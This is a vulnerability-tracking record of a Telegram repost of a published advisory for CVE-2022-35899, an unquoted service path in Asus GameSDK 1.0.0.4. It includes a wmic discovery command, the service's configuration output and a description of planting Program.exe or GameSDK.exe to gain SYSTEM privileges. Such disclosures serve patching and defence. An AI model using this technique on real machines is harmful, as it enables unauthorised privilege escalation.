{"uuid": "4a57455f-6fde-477e-b747-a520ea663026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35899", "type": "seen", "source": "https://t.me/hacking_Attack/62127", "content": "Exploit Collector\nAsus GameSDK 1.0.0.4 Unquoted Service Path\n\nhttps://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png \nAsus GameSDK version 1.0.0.4 suffers from an unquoted service path vulnerability in GameSDK.exe.\n\nSHA-256 | cd88ac76d033405e5a3e34567ef8fd43237dddbf5f9d43a3e92a2f447d70a461\n\nDownload\n# Exploit Title: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path (Privilege Escalation)\n# Date: 07/14/2022\n# Exploit Author: Angelo Pio Amirante\n# Version: 1.0.0.4\n# Tested on: Windows 10\n# Patched version: 1.0.5.0\n# CVE: CVE-2022-35899\n# Step to discover the unquoted service path:\n\nwmic service get name,displayname,pathname,startmode | findstr /i \"auto\" | findstr /i /v \"c:\\windows\\\\\" | findstr /i /v \"\"\"\n\n# Info on the service:\n\nC:\\>sc qc \"GameSDK Service\"\n[SC] QueryServiceConfig OPERAZIONI RIUSCITE\n\nNOME_SERVIZIO: GameSDK Service\nTIPO                      : 10  WIN32_OWN_PROCESS\nTIPO_AVVIO                : 2   AUTO_START\nCONTROLLO_ERRORE          : 1   NORMAL\nNOME_PERCORSO_BINARIO     : C:\\Program Files (x86)\\ASUS\\GameSDK Service\\GameSDK.exe\nGRUPPO_ORDINE_CARICAMENTO :\nTAG                       : 0\nNOME_VISUALIZZATO         : GameSDK Service\nDIPENDENZE                :\nSERVICE_START_NAME : LocalSystem\n\n# Exploit\nIf an attacker had already compromised the system and the current user has the privileges to write in the \"C:\\Program Files (x86)\\ASUS\\\" folder or in \"C:\\\" , he could place his own \"Program.exe\" or \"GameSDK.exe\" files respectively, and when the service starts, it would launch the malicious file, rather than the original \"GameSDK.exe\".\n\n# Impact\nAn attacker can elevate his privileges on the system and become NTAUTHORITY\\SYSTEM.\n\n# Poc Video\n\nhttps://youtu.be/u_8JMIgn-5g\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:34.504511Z"}